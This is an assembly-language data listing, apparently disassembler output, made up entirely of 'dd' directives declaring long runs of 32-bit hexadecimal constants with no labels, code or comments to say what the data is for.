		dd 7BA05F9Dh, 2BC31004h, 1792EE05h, 273A5E04h, 999D8E14h
		dd 0E7435C5Ah, 44BAADCCh, 0E933FF94h, 0C89D1773h, 0A25BD54Ch
		dd 0B193D043h, 0DA4AB101h, 0A6D6F71Ah, 43F9604h, 29D2BA40h
		dd 0CF5C82EEh, 0C19C0743h, 2E7F1CC9h, 0AB44C931h, 68C51D29h
		dd 683CFFF0h, 1D9268E9h, 0DD9E01E2h, 3031AA3Fh,	0F1947747h
		dd 0E91EDC25h, 545F3CEEh, 0E710FDA7h, 78775EDFh, 44E216D2h
		dd 0AB7A6284h, 65C104F5h, 0B9896E06h, 0EB5F742Fh, 90486ECBh
		dd 13CC6884h, 826B25FAh, 0B9009E96h, 5D2A78AEh,	0D9408179h
		dd 76071650h, 41CAFD2Fh, 0F4943008h, 0AE22E04Ah, 0DA16575Bh
		dd 3181FC7Ah, 0E6F6D89h, 0C11F6369h, 75232138h,	582340FAh
		dd 69B81370h, 1B70B54h,	42AECDD3h, 942D4834h, 106C8386h
		dd 1D39BE08h, 24D410Ah,	2E61EAEBh, 939D552Bh, 0A2C9570Ch
		dd 0F356A422h, 207E70A5h, 7E92D59Bh, 81F5632Ch,	32CA890Fh
		dd 9C25CE0h, 4A04F0Fh, 0C52772D6h, 69712E2Ah, 751D325Dh
		dd 2CAB51C5h, 1F808A95h, 23E8BB53h, 0D9FCFB4Bh,	0FE34A270h
		dd 0C96B08D5h, 4E60E580h, 2D0F49CBh, 9ED27080h,	63FED06h
		dd 0E834418Bh, 0F796B52Ch, 0F0D5A2A1h, 0CEF80596h, 0C154730Eh
		dd 0DDF6C03Fh, 0F863701Ah, 2C6706C6h, 264626B4h, 0E35A270Ch
		dd 124D1A60h, 971C0484h, 0EA3DA4F7h, 43A016D8h,	0DD2F7826h
		dd 575F123Eh, 7C4949CCh, 0BD781789h, 0D53E60CDh, 0E0345688h
		dd 8D92E829h, 0CB41D20h, 0B101DBBDh, 0D0EE5BEh,	420B453Bh
		dd 64FC02E9h, 2B780151h, 850F6091h, 0F406A17h, 0AABF6AF1h
		dd 95E917FEh, 5D2049A8h, 5CD8185Dh, 1273DFB2h, 917FA8CDh
		dd 0A0D7C4E4h, 59349CABh, 5648809Ah, 9DF020F6h,	807BBD60h
		dd 0FE4BCA1Ch, 8CD078EDh, 0D43CB51Eh, 2801EFB5h, 0F4F62576h
		dd 131FEBC8h, 352DA7C5h, 0C9F0D353h, 0F5D99502h, 0F5BD5A45h
		dd 0B625E29Fh, 4EB768FDh, 3FCD1F31h, 9D620B50h,	5B93DFDCh
		dd 9E404FF2h, 0B2EC4B9Bh, 0E57A722Dh, 20BD0C25h, 0B5DAA831h
		dd 0D7894C15h, 16F70C79h, 0E7581B1Ch, 86C38AF7h, 76A59123h
		dd 0A013C4DDh, 0B1F034C5h, 0EE428F60h, 9D855C71h, 0E9027F01h
		dd 2E4D25CEh, 2188C18Ah, 0DE99C03h, 0AC704B78h,	0D3F7A1D7h
		dd 2611447Ah, 0B8B907CAh, 1438400h, 0D4E2F9CEh,	0E189099Eh
		dd 82D22776h, 9F7DB0Bh,	95600A98h, 64AA8582h, 71F993B1h
		dd 1C231D2Ah, 0D6C8195Bh, 0D5BD0008h, 13493D3Fh, 283BDC12h
		dd 0EE7D8915h, 511E3025h, 87C380A7h, 13B1F26h, 40EBE1EDh
		dd 0D9685008h, 8FDD3149h, 296CC44Ch, 0AA4C35FBh, 0F3811020h
		dd 0EEBF12DBh, 3C48F1E5h, 92E0D692h, 89A34FF7h,	2B72A81h
		dd 9820DC94h, 34FA9B0h,	50E76CB5h, 16AC7503h, 0C2F572F4h
		dd 858DFFEh, 507B3B95h,	0BD4C4469h, 284CA98Dh, 7F4DDF54h
		dd 0E02A1B2Ch, 739222Ch, 0C97876FFh, 6CC46F0Ah,	5701E349h
		dd 31E687DBh, 63297270h
		dd 51E9CFF3h, 5F9B24h, 0FD093228h, 619BD3Fh, 3C1F8425h
		dd 6272C77h, 0AD537F85h, 8CA14B11h, 50F1B72Fh, 0B953BD0h
		dd 77616631h, 661B5D68h, 67C09689h, 0AF97015Eh,	0B7636536h
		dd 603ABF8Dh, 0E9F9F780h, 0D6AAE125h, 0EA847960h, 27CF5705h
		dd 809FA44Bh, 0B638289Ah, 71C74E74h, 0F1F6EBA3h, 0BC052BEFh
		dd 59F67077h, 69621CCEh, 0B3058EC3h, 0F43025BAh, 5B150235h
		dd 4B8BC330h, 0EEA43AADh, 1203934Bh, 46A7D9Fh, 264EF000h
		dd 12C4A67h, 0D00276DFh, 6074AC2Dh, 2D078210h, 0F9462A45h
		dd 2F4FE914h, 6F020425h, 0C5BA11A0h, 3527AB95h,	5F760152h
		dd 455F12BAh, 685C0416h, 2B98BF94h, 0F7189784h,	0E15A21E9h
		dd 0DDB38327h, 0D459DA55h, 0E9562D4Ah, 6A68DA01h, 85204F7Bh
		dd 21A2B505h, 0E70F08EFh, 0FC09B534h, 0B9D068F5h, 14F904ADh
		dd 4ACB5164h, 8EB4E921h, 0F450D2E6h, 8E0F80E8h,	5BB9F54Eh
		dd 12310110h, 740EF380h, 5C2690C6h, 10042DFBh, 7235EF55h
		dd 8C75AC0h, 0A8D83E80h, 6A46FEA5h, 2421B90h, 354EB558h
		dd 4BF8B74Dh, 4B106E8Ch, 0C438AD63h, 0D3F32F9Ch, 6F780B01h
		dd 350EE915h, 7FF0C1DBh, 913B7EC9h, 2F65A52h, 1745D053h
		dd 0EC0DD25Ch, 1D7800CEh, 0E1C11F0Ah, 806C006h,	0CBDF890Fh
		dd 21E7B7h, 0C888C3B5h,	0F13DDF7h, 34A11281h, 80A0EE2Ch
		dd 32C361F2h, 0AFEC885Ah, 2A06B9Eh, 74EE5B74h, 0C351E5A5h
		dd 0ECBCD424h, 365A72A7h, 0AA3C9A31h, 7404EA05h, 0EB137854h
		dd 6956A42Eh, 0A626354Ch, 428FA625h, 2C00747Eh,	94D82889h
		dd 0B0D552FFh, 0C13DE077h, 40BECB6Dh, 28C07A4Bh, 78B30B19h
		dd 2FE91225h, 1683FDC2h, 0EAF2E716h, 0A35659CBh, 792E5451h
		dd 76DC7E77h, 41C14144h, 420A60B7h, 0F5F8310Ch,	8DAF683Ah
		dd 0A45F3927h, 1A6916Eh, 4D3489FBh, 0A42A48CDh,	0F62FE435h
		dd 0B6DA4E82h, 0EE207FF6h, 0D5F71E18h, 0B5F02787h, 85880F0Bh
		dd 889A51B2h, 0B62CCFA8h, 875BDE0Eh, 7DF592Dh, 5B6F001h
		dd 565E3F0Fh, 0B579674Ch, 0AF810BE2h, 79A5CBE9h, 0C38187Fh
		dd 0A85320C9h, 9DD265C0h, 6139E26h, 9D684109h, 7D519A7Ah
		dd 2EF01941h, 5BC24BE2h, 6C59C328h, 8D1741AFh, 5E561D30h
		dd 984E6554h, 0B984EEB2h, 4F5825E7h, 7F7A0F00h,	3BED8112h
		dd 53EC2615h, 20A1DBFh,	69E906C1h, 0EA9FC0F4h, 0CD13B2AEh
		dd 16830D57h, 4F0983E9h, 0CA66F068h, 0C2004973h, 0C0B0501Eh
		dd 9CF775E9h, 5B584202h, 12C2CC5h, 0DBAF2E2Ch, 1BE308C0h
		dd 588A236Fh, 0D0280F75h, 9D3AE9ECh, 0E4EFC07Fh, 33A39FF9h
		dd 0B71C9BF8h, 32099FC1h, 51262045h, 2E28F756h,	20BACB01h
		dd 0BAE91908h, 0FD5A347Ch, 7A8165F8h, 5755C962h, 45756B4Ah
		dd 68578410h, 2FECF202h, 2700593Ah, 0AD6A577Eh,	25771049h
		dd 7E4EB722h, 24E853A2h, 5D14D9F2h, 108176F6h, 42279702h
		dd 5A961BF6h, 0E1435D1Fh, 0C7D8ED80h, 5EC2E805h, 9CF9D0CEh
		dd 0AACD81CFh, 7F89E41Bh, 0DAFCC709h, 5961B09Eh, 6B16B077h
		dd 808B3490h, 3F5C5623h, 8EB7724Ch, 9C4D588h, 0DA8DC7E9h
		dd 169A7C71h, 14744C6h,	0CD73E38Dh, 19CFD80Bh, 69502902h
		dd 0C633E2E9h, 4040F083h, 88FC5F2Ah, 10037DF1h,	680BB7A6h
		dd 305C4789h, 921A5167h, 80324688h, 1F7079F3h, 89395269h
		dd 0E9D709DAh, 0D7A0F772h, 5017011Dh, 16245F5Bh, 6A7870EAh
		dd 100CF3D1h, 46FB8953h, 0B95F045Bh, 81932B12h,	20BB75h
		dd 0BDF6EA80h, 0FE195361h, 0B4635B07h, 0ADB45A71h, 0AED7C417h
		dd 5F01FB14h, 0F605E3C0h, 447F30D3h, 44325181h,	0A4418812h
		dd 253C1B01h, 0FA291FDEh, 1485E156h, 26800D99h,	548712BCh
		dd 0ED1748BBh, 0CAF0AB78h, 74C995AFh, 935E3FEBh, 0B2EC68CAh
		dd 5BBF6B4Fh, 0C282B947h, 56406802h, 0F6E24C73h, 0BA42FCF9h
		dd 0E696809h, 5E49775Ch, 7D8089A1h, 51072F51h, 0C5A0EFB5h
		dd 4B840FA3h, 0FE1C0792h, 428D82CDh, 0EDC0E4C8h, 12ED0358h
		dd 4AD229A8h, 0DBD90BC8h, 20B85040h, 2D7E2608h,	351D165Ah
		dd 3A70993Fh, 0E935298Bh, 400DF183h, 12388570h,	265126BEh
		dd 0CE25CA2Dh, 290BBF79h, 0A849DEA8h, 0B9CF2063h, 111294C0h
		dd 168955B3h, 24D58C5h,	3F7F6844h, 0D9539BFFh, 0C06A3A45h
		dd 1D2A090Dh, 4E9030Ch,	0FBDA310h, 0B46726Fh, 9B2B9F66h
		dd 31B4C24Ah, 50EDE5Dh,	0AAC8A390h, 0AF20CB9Dh,	0FB66B79Ah
		dd 4AAEE549h, 0F3B4D4BCh, 5D2D760Ah, 2FFA475Fh,	0E308AFD3h
		dd 59973A02h, 0A1B4EC0Ah, 5027027h, 82FACA55h, 52B84398h
		dd 986F4D58h, 0EEDF0B4Ah, 1D12B5F1h, 0C60588F9h, 93C01BDh
		dd 2054F79Dh, 98ABE7B5h, 2340F44Fh, 40773CFFh, 446FE718h
		dd 82795B5h, 0F9BE84ECh, 0C83A9BF1h, 0C8924B6Ch, 146C649Dh
		dd 40ECD5E9h, 0BF75D707h, 0A067B572h, 0B6AC5326h, 995F5232h
		dd 362D415Ah, 0A2DFB64h, 2F9C4FBAh, 5C02AEA5h, 5B9954A0h
		dd 0E34D2224h, 6F03E301h, 0C0F20153h, 0B577A237h, 1009D99Ah
		dd 0E5F508DFh, 0D949231Eh, 0C42D0128h, 568F485Fh, 2424B5F7h
		dd 0D415C4CAh, 5074E98Ch, 0EDBEED17h, 93F8166Bh, 9C942D41h
		dd 4ADC4220h, 28564A09h, 8250A5BFh, 0FEE2E60Eh,	0A2EEA1C6h
		dd 0BDEBDEF6h, 0A12FE882h, 717368B5h, 28238D2Eh, 5EF1844Ah
		dd 0F91894BEh, 0AAE98289h, 63284497h, 412C4D55h, 605994F1h
		dd 0C22D68E8h, 633B567Bh, 0CB92C188h, 0DD852592h, 0F8390C38h
		dd 0FE59E9F1h, 39932CDDh, 499F590Eh, 2D1843F0h,	2190C31Eh
		dd 546F5158h, 0C10ECB57h, 4F7157FCh, 0EA13D7FDh, 11584080h
		dd 0AAD0212Eh, 310BE807h, 84656843h, 0A2F067EBh, 8CB133DBh
		dd 0F76A0904h, 90EB2F59h, 9C23FDAAh, 9D10627Ch,	6904A171h
		dd 0D2823D87h, 0F93D598h, 2FB67EC1h, 51605799h,	35052CD3h
		dd 5EF709A8h, 6AA12C01h, 81CDE3D9h, 0B76BAh, 0E340E0D1h
		dd 0B46ECDE5h, 515A66BFh, 1A0774BCh, 23DA8852h,	0E7E75AD1h
		dd 80045CF6h, 0E912F5B8h, 0C5B8F887h, 0C04BB9D4h, 1210BF08h
		dd 7E238433h, 5D0D480Ch, 0F83B464h, 25B4B489h, 98314E73h
		dd 89912BDAh, 79ED2D0Ch, 6853B612h, 0C5B49DECh,	0C607E44Ah
		dd 9F3EAB07h, 0F6704E0Bh, 17B69C08h, 0E09EE902h, 0BA07BE09h
		dd 46483D0Eh, 74D30BB2h, 0E9EF5B4Bh, 5900DD50h,	0A66EBA05h
		dd 2DC33135h, 0F0822158h, 0E75D1D4Fh, 20832019h, 1596F53h
		dd 8BEF2549h, 6EB551B8h, 0E98402C8h, 0F2E88C16h, 0E1FE858Bh
		dd 26D4908h, 8FB08E0Fh,	64ACFC4h, 0E0B1F5A0h, 9A38EDD5h
		dd 3316E487h, 0F4B002CCh, 589D28EDh, 0A7C213DAh, 1236E230h
		dd 26F95561h, 0F79108A4h, 6E86D825h, 5F818905h,	7F45BE44h
		dd 0E0898E82h, 0A49888A5h, 22BD90D3h, 63EAB072h, 2951C3F6h
		dd 94CCF4A1h, 0ABAF5994h, 87FC156h, 95448630h, 7BBE6B16h
		dd 0F274E986h, 82C15040h, 8188270Fh, 412330Ch, 1206BB8h
		dd 0E2E5FA34h, 3C7B3B69h, 35980B7Fh, 77D91F6h, 0E8005E5Dh
		dd 6B09E927h, 455BFFAh,	7121CA3h, 3AC06491h, 0B4F60FA5h
		dd 0AF8A63CAh, 3BF64166h, 5E2C92BAh, 0BAC08556h, 0D4D2190h
		dd 0DB78E935h, 0DAF13A3Ah, 2AFBB13Ah, 8B65F446h, 3EEB5CD5h
		dd 406E1712h, 1A5A13FEh, 0D5902911h, 0A2F8148h,	0D66F8E3Fh
		dd 73951002h, 44625D40h, 31CB5F43h, 7A8E68B1h, 3D827637h
		dd 1BCDD713h, 42CD673Dh, 6CA28462h, 947DFEA4h, 0BC602AE4h
		dd 1AE978B9h, 7D138997h
		dd 88205B25h, 6B48E741h, 561C96Dh, 5EB89EB1h, 0AC71BAD2h
		dd 402FE644h, 3F64BA07h, 8B140F57h, 7B0C6D6Bh, 0F78AD512h
		dd 0E912F5A8h, 0F98FE1C7h, 47CA7EC6h, 169B254Fh, 937D8DE6h
		dd 57FE5AEBh, 4D5EB35Ch, 0A0E909E6h, 0A0E3D43Eh, 0F6CDF8C5h
		dd 72EB6190h, 0FA8B6855h, 8D59185Dh, 0B74F7612h, 0C960BFD9h
		dd 62991EA7h, 0F22ED430h, 1058D254h, 9424850Ah,	9FECB12h
		dd 81C659B9h, 2B85064h,	6C3B0852h, 7F48092Fh, 0A5AF216h
		dd 765A890Bh, 0D164C252h, 73C48109h, 35F87B29h,	0FB181A19h
		dd 4ADDA63Fh, 1104DF0Eh, 50B8ECE5h, 2B2F687Fh, 80FE5126h
		dd 7C9118CCh, 0CB0A815Bh, 0E6490CBAh, 11CD8605h, 0CE019193h
		dd 0D78325B7h, 569FDF53h, 6340E816h, 0B551EA04h, 7D82987Ch
		dd 8AF14D08h, 303BB907h, 0E18131CAh, 1C0C024h, 416558B5h
		dd 1D532088h, 0A1C02197h, 0E820D361h, 0A7DBB1D2h, 45E97DA1h
		dd 1D877496h, 7C9F6A62h, 3ACF0889h, 0FF922FADh,	405DE405h
		dd 54DF88B9h, 0F51D8166h, 894F4BD5h, 0F712FAE9h, 4D711F03h
		dd 0D6203BCFh, 0A1065C2Dh, 0C6010E01h, 5B256858h, 8001A24Dh
		dd 8F8BB169h, 27B05CCDh, 0C1808366h, 0ED895EEh,	0B791167Bh
		dd 9DC348B8h, 98846AD4h, 0B0CCFE7Bh, 41937912h,	0F661CEE6h
		dd 51CB804Ch, 687D2DB9h, 0F8ABA005h, 37D51D41h,	8BFACC1h
		dd 0B0027C43h, 74C52056h, 81C44500h, 7A1DBDBDh,	0D5F7BB71h
		dd 25C6C83Ch, 1109DBA9h, 0E1461B75h, 16A7F59Eh,	0FCAD0F7Eh
		dd 26358095h, 89BAC0D1h, 0A6203E90h, 1ABD7572h,	14412B24h
		dd 38D619CAh, 53E8FCE4h, 8A38DC5Ah, 0F781E401h,	11C44B99h
		dd 5947983Ah, 0D4031005h, 0F2D9F731h, 43C7D22Eh, 703A4E61h
		dd 7A2C6C7h, 33A5D756h,	0C2144E8Fh, 19403813h, 42768F13h
		dd 79E4B4A2h, 3181D114h, 31CB5F11h, 0B3FCC816h,	0C2D519C7h
		dd 0F270F2F3h, 2F2E7B25h, 55FADA79h, 917C34Fh, 841220ECh
		dd 176BE278h, 0B16C6918h, 47B04065h, 91CF8103h,	0E11A8E5Ah
		dd 627BF1AFh, 35789E3Fh, 34E1554Ch, 0F4C3D31Eh,	615AD1BAh
		dd 477E4282h, 0E5F8426Eh, 492FCCF3h, 0D11CAA1Eh, 14BFE06Dh
		dd 2F4B5867h, 113D7F00h, 5FF931EEh, 1920497h, 1B4E6ECh
		dd 3B3AB2E1h, 463A8342h, 2658768h, 0CA8B6018h, 0B85A29E3h
		dd 380DDF0Fh, 0FEB1327Ch, 0C0FE0804h, 519D237Eh, 20C7F897h
		dd 30B0A8CFh, 0CE28580Eh, 66F00459h, 2253DE2h, 0D91952A2h
		dd 412ACC0Dh, 3221ADBh,	93C63C64h, 4EC466B9h, 6BF1271h
		dd 0D319CD51h, 1656C35Ch, 98D42748h, 89120812h,	34BA6EC4h
		dd 0ABF20946h, 682CF810h, 0B27A5D81h, 0FF8C9674h, 27D7488Dh
		dd 295158C7h, 0B95F3B1Ch, 0E25B0E82h, 4F5EC432h, 0C7D6402Eh
		dd 72C1E132h, 62CF629Dh, 42004A25h, 9E673B2h, 592AE083h
		dd 795803A2h, 0A0BE4F86h, 0FC7F4B0Ch, 84A0F75h,	149764Dh
		dd 0A5A3034h, 0E918240Eh, 45D4B8C4h, 0D1878DC0h, 0E2A86488h
		dd 0D5D0090h, 25C7926h,	63A22D70h, 0BB609994h, 954D09E9h
		dd 38F01F44h, 59006796h, 0AB3E30F3h, 29FA9855h,	2CD23DBh
		dd 41044724h, 567BE0D5h, 73E5A058h, 519701h, 8A5D5C1Eh
		dd 88251ADh, 31042D6Ah,	8BAF53F0h, 6656041Ah, 0CBEB02D0h
		dd 5C4D046Eh, 85FA523Ch, 82220474h, 1E72C43Bh, 305FCB1h
		dd 0AA8E9BE9h, 2E7C89CAh, 64ED9A68h, 0C04EC85Dh, 0EA30025Ah
		dd 0BC9713E9h, 0B07A44F4h, 48023588h, 89F12E90h, 0F44141C5h
		dd 4228629h, 0F12D639Fh, 882B084Fh, 3994552Fh, 83DB4BE2h
		dd 9278A31Eh, 9638E026h, 46FA0275h, 3DE9C301h, 6D2C29FEh
		dd 20F52EE2h, 89585EF7h, 484EF97Bh, 15BAF20Ah, 8D8388h
		dd 0F8685156h, 733E2345h, 1C11659h, 12D8E808h, 929A2128h
		dd 5BA10566h, 0DF78D22Ah, 0D305B2C8h, 32DE7601h, 27288F0Fh
		dd 82AD22Fh, 34B4D761h,	57013516h, 21F325F4h, 0F13A58C3h
		dd 3A7ED7Eh, 6AE0B2ACh,	3EA37B9Fh, 0E825E613h, 8C6AA129h
		dd 70DDF701h, 0F412A82Bh, 5ECC649h, 89E1E909h, 0E1070CC9h
		dd 0E36C12h, 3F526ABDh,	14A5BB01h, 0B3653178h, 5545D104h
		dd 5C580B44h, 180BA01Ah, 40C08EE9h, 6FEE4B5Bh, 0A6100D97h
		dd 0C2B60EFAh, 1CFF8B1Dh, 404BB060h, 0D56B0180h, 208A4CE5h
		dd 0D2EB7B1Fh, 0EE93EF7Eh, 307CF505h, 0B0766C3h, 4D967D12h
		dd 22F73D4Ah, 0FEDD1920h, 44AC53FCh, 30F765B0h,	80A46A50h
		dd 800705B2h, 0D328E0C2h, 0A8ABBCC6h, 16853B2h,	2BC31939h
		dd 0E4D3F75Bh, 0BF64E2E9h, 0F2B816AFh, 0C4BCF25Bh, 30E30DBh
		dd 5464E333h, 0BB800A88h, 0E7C1BFBh, 4405C0Bh, 7124EBDh
		dd 7400708Eh, 6C528FEEh, 724620E9h, 595A542Dh, 0C4E942AEh
		dd 4EFE6CF8h, 0DB6352EEh, 7AFEA9A5h, 0AFBA0719h, 0C210F254h
		dd 400F685Ch, 2B7A17D1h, 82CA5A31h, 13E11575h, 0F8E06E5Ch
		dd 5BDE2529h, 0CC2D7CFBh, 64FE20C7h, 0C15F5576h, 67A37513h
		dd 5A8CBDD3h, 10086949h, 829F63B7h, 0C794C8DDh,	0F0FE8402h
		dd 7E255096h, 66CB0B03h, 14024B19h, 761398C2h, 0F112BB8Bh
		dd 0E307EA7Bh, 60E559CDh, 0E5F340EEh, 688A0F05h, 0E481ABA9h
		dd 66277684h, 7D89E144h, 0B3F51980h, 0F73BFC4Ch, 54AFD548h
		dd 0E8BD5FF4h, 2753AB4Ch, 8B606959h, 942D26D3h,	6D725E39h
		dd 0B0FD2828h, 72DC2BC1h, 4BA098D6h, 2499898Ah,	5D122F85h
		dd 83B8935Fh, 75F58710h, 0B6BAB726h, 0F90ED953h, 0B8591124h
		dd 41810BB4h, 0C60079C0h, 22A17A93h, 650E918h, 0C67C57Fh
		dd 2916AE7Eh, 829D71DAh, 752DADCDh, 0D465C14Ah,	90CBAE22h
		dd 30AA70C1h, 0D1159D02h, 86F2CE87h, 0E065DE55h, 0E94BDB6h
		dd 0BEFE569h, 125D5752h, 2FBBDC18h, 0FBD8395Ch,	518E2E37h
		dd 75E03A8h, 0E6046C2Ch, 199021D0h, 70006BF9h, 0E9FEF252h
		dd 99A471D3h, 227E6805h, 0AAD04B40h, 1366BA62h,	28691DE9h
		dd 0F6F85015h, 0E0A80F5Bh, 0C5C48AD1h, 0DF5F0964h, 16DD8009h
		dd 170A91D9h, 493D4E61h, 0A4A703CAh, 56EF1208h,	0AFD9096Eh
		dd 5243467Ch, 0E2930063h, 436233FAh, 9320820Fh,	184A770Ah
		dd 8D368688h, 5080DF6Ch, 0C5BE0456h, 0FD6F9154h, 0EA7F18FCh
		dd 161FBF1Eh, 136B5D23h, 5CB3C896h, 342A3310h, 49066380h
		dd 4C5B2913h, 0C003A8Dh, 4685251h, 2C037F2Dh, 0CC8DC25Ah
		dd 0C4F75E0Bh, 0ACD6C5F0h, 0CFCC6BDh, 9530901Dh, 82DA9102h
		dd 8320140Dh, 0DD6D1F94h, 0FD5B4917h, 0D0762032h, 2007128h
		dd 4F7A4D77h, 9429ADE9h, 83ACAD3Dh, 3D30F088h, 8CE6E66Fh
		dd 803EEF1Eh, 8E454A4Ch, 5600ECBEh, 0E91A693Bh,	0D53BCCBh
		dd 3E86FB29h, 75C623A5h, 0EB9206C5h, 0BE0209A5h, 0B0CE5721h
		dd 28685609h, 0C516FD63h, 240B9497h, 0BA0459E9h, 0F5625597h
		dd 0B8EA30DAh, 211E9E94h, 88319B3Fh, 0EA1E58A7h, 0FCA03C4h
		dd 6F56A368h, 7A93D240h, 87B381C1h, 682A923Ah, 4DC2BFE0h
		dd 5EAC5B5Ah, 71840F09h, 46684942h, 95176FC3h, 8EE89C35h
		dd 5AE29110h, 3D105BA8h, 0C1F05F11h, 0D1270310h, 9BCC80F9h
		dd 61F38E10h, 25B6521Fh, 300B7BFCh, 6A02D5C5h, 84F1CE20h
		dd 5A205CC9h, 0AA48CDD5h, 0AF1429AEh, 0C9AF3B99h, 237E6842h
		dd 5204CDC4h, 0EA2C05F3h, 0DCA65882h, 18B648B1h, 0BD5E4B51h
		dd 184BFE04h, 0C3AA312Dh, 0B74C16BCh, 509F2535h, 9563B2ACh
		dd 0D5C9D95Bh, 7B4EFB0h, 19A48091h, 402FC9CFh, 9A585D43h
		dd 760A20FCh, 4A3331BFh
		dd 0B05BAB34h, 0B249F0C3h, 0D210B47Ch, 1C4AFA62h, 810000DDh
		dd 0B82B8EF7h, 0DE8B8196h, 0D312E22Bh, 7644D08h, 36BEC80h
		dd 0C3B058E3h, 862D0FE6h, 2EC28A52h, 9241D225h,	9183355Fh
		dd 0FECAAF10h, 1090444Bh, 50280BC1h, 0A1E420F0h, 20D8BF03h
		dd 0DA476BF7h, 3CE1E496h, 8C9D69F5h, 0CDCD9F27h, 0F00C326Fh
		dd 1E25583Ah, 0B3A0F486h, 2CF81274h, 30DB856h, 7FD4FF4Bh
		dd 8141C03Fh, 66027DF2h, 82E90B5Bh, 51E4DD1Fh, 0E328801Fh
		dd 3AB55893h, 8998F47Ah, 0E78D6060h, 0C4AF315Ch, 4E57AC8h
		dd 1CF8F488h, 4BFFE33Dh, 789FB235h, 0E712FA4Ah,	643469BFh
		dd 96A44028h, 70F5F95Ch, 89C80484h, 0BA595818h,	44A258Bh
		dd 0FCFE54D7h, 0F18A8574h, 3BC2D9BFh, 416E55F0h, 74E6D531h
		dd 0A003BD75h, 0BA696461h, 48D29894h, 6ECA0781h, 60414C3Bh
		dd 73A8EC2h, 0A2E94516h, 9804F685h, 0BC16AA94h,	40E641ADh
		dd 0D6F62FF9h, 0C14E1A98h, 0E48F958Dh, 3DA4BCB5h, 46A08CBBh
		dd 26B970F2h, 0F97D009h, 0D3049753h, 0AF178E6Ah, 281962Ch
		dd 0BD5CDAEAh, 0CC5D017Bh, 60DEB624h, 0B16C062Dh, 90E2148h
		dd 0D8ED283Ah, 7F3F0B88h, 0CA541E65h, 86ABF082h, 88227491h
		dd 88009241h, 305966CEh, 8D789EDEh, 3F1C8935h, 253FC98Dh
		dd 922FCC5h, 0C46D9D68h, 5B0B98DDh, 0E991E022h,	0F576CA33h
		dd 248E70D7h, 8F14951h,	0AD167484h, 2DC7641Eh, 0F51305C6h
		dd 7F3E926Fh, 4076D88h,	0B978A4E9h, 8DBB026Ch, 5A511F73h
		dd 5B13022Bh, 46E96BBEh, 8E56DC6Ah, 0A4B95652h,	6CB0009Bh
		dd 0E981674Bh, 0FB0E6B75h, 328E0F75h, 0DDB234C7h, 0F84455CDh
		dd 0A3DC882Dh, 1370A013h, 21FA3925h, 4633798h, 2B53D1AEh
		dd 6ED53108h, 25C94514h, 0D8455EEFh, 0DF82BD69h, 90721B64h
		dd 59879586h, 0FB06DCE9h, 0C1F0D9F0h, 0B050600Fh, 0C0D8007Ah
		dd 1D3405E8h, 131224E7h, 60EA1F15h, 63AC48B7h, 0EFEB9699h
		dd 81DCD869h, 57C201C2h, 0CB5DB432h, 0E0DAEA4Fh, 0BD5E73EBh
		dd 5B1A7B15h, 0B0E00447h, 3B56581Dh, 74F8F529h,	0BDB8B84Bh
		dd 40D401E4h, 60577B3Ch, 5F82FEFFh, 0F5D3242h, 118352DDh
		dd 0FCE37D89h, 0CEEA4E3Ch, 7C844B39h, 4BD991EBh, 0ACB1040Eh
		dd 6065A640h, 0FD534A67h, 0FE5D2D3Ah, 0DDDE0904h, 2E624874h
		dd 927D888Ah, 0F0B76E0h, 304B7C4Fh, 60C201EBh, 135FD727h
		dd 783740C1h, 0A107C7A8h, 7C824FCAh, 5F100758h,	1A1D37E8h
		dd 26FFD3Bh, 2657A4E5h,	7F04C042h, 5DFF374h, 0AD4D2524h
		dd 0C091AF6Eh, 0BF00167Dh, 0D7C646Ah, 0E93B989Fh, 971ABAADh
		dd 0FFE919D9h, 195CAEB0h, 0B98ED9B7h, 69733F25h, 7AE0E909h
		dd 512DA057h, 133A0968h, 0B83362FCh, 683D06D9h,	7CC7C0EDh
		dd 59E9791Ah, 563B7E28h, 0A4B35025h, 0B2FC47FAh, 72817E2Dh
		dd 0A56EE5FDh, 3F02CBB9h, 0EBD734A3h, 0F252C465h, 2349A870h
		dd 0B9295C17h, 17070528h, 0FD21B7E9h, 891CD32Ch, 0FDFDDD92h
		dd 0BB7A4889h, 6564EF02h, 5829608Eh, 20883DEh, 5D254A0Ch
		dd 26F05A14h, 6C36816h,	818138FBh, 3050DF92h, 0A4A26CBh
		dd 543A40CCh, 2B51C4Fh,	8E5C00Dh, 71E0ED80h, 0A8BAB6C5h
		dd 0EEF29920h, 44D12768h, 5C847AB8h, 0FC5E2084h, 0DDED2D4Fh
		dd 4404F7Ah, 0A8F02814h, 98CC17C5h, 224DE6F6h, 748D4E7Bh
		dd 1A8FFB3Ch, 2F4BB54Eh, 892E34E5h, 3530E943h, 5B06C87h
		dd 611E7BCAh, 6852C91Fh, 58F21D64h, 21E3D39Ch, 7F63B344h
		dd 63206035h, 284148BFh, 0BCA3456h, 385775A4h, 251F5A00h
		dd 18C25316h, 60AC21D2h, 81C9ADF8h, 27F53A2Dh, 0AE28CDE9h
		dd 505B5400h, 72306855h, 5D58F812h, 0F34E00Ch, 74969F89h
		dd 0E91D87B0h, 294E2B14h, 22E7C5C3h, 206D89EEh,	0D782C8D3h
		dd 1D3ACC40h, 9A51F527h, 0F4E87DC6h, 8DBB7A36h,	0B708A124h
		dd 0FD42FCCh, 0EFF2A839h, 9C2AAF27h, 0B7681245h, 17EFCA73h
		dd 8785E3E9h, 3C1FB4F3h, 63C74944h, 1FCB9CDDh, 0C4BA5250h
		dd 0FE2D7911h, 56022282h, 0ED680EBEh, 0B5DAD8D4h, 9D545FF4h
		dd 50A005CAh, 0DCF61FB4h, 97EC8013h, 30D419B1h,	0D7482D4h
		dd 0BC4BAA20h, 0C0326C34h, 0FA67E05Ah, 8C6EBF2Eh, 0DF17FB4Eh
		dd 0E98A28F7h, 2F582585h, 0E377309Dh, 1109586h,	6F27769Eh
		dd 0B5BA1440h, 64CDCE11h, 7F07BDDBh, 213B3C23h,	0AB67EBBBh
		dd 205DDE1Bh, 892C5AAFh, 31597AC5h, 0EC4F6662h,	0BCB464h
		dd 9F912639h, 0F8311225h, 0CD123013h, 0B6C35AABh, 44FE57Fh
		dd 0CC39F368h, 0B3005338h, 0FCBFE25h, 0B28F1E8Ah, 0D734DF8h
		dd 0CBE2B95Eh, 0D7EAC255h, 0F745FDE0h, 666D60E9h, 0D0A06F05h
		dd 60C2E829h, 0F06802D7h, 0B362075Eh, 7EC44022h, 7E44B590h
		dd 0B70F53F2h, 9AFB213h, 162565FAh, 505E05D0h, 7ADDAAE8h
		dd 6089BE08h, 4CC5B1B7h, 257BD01Ah, 46CA8B2Fh, 0DA9420E3h
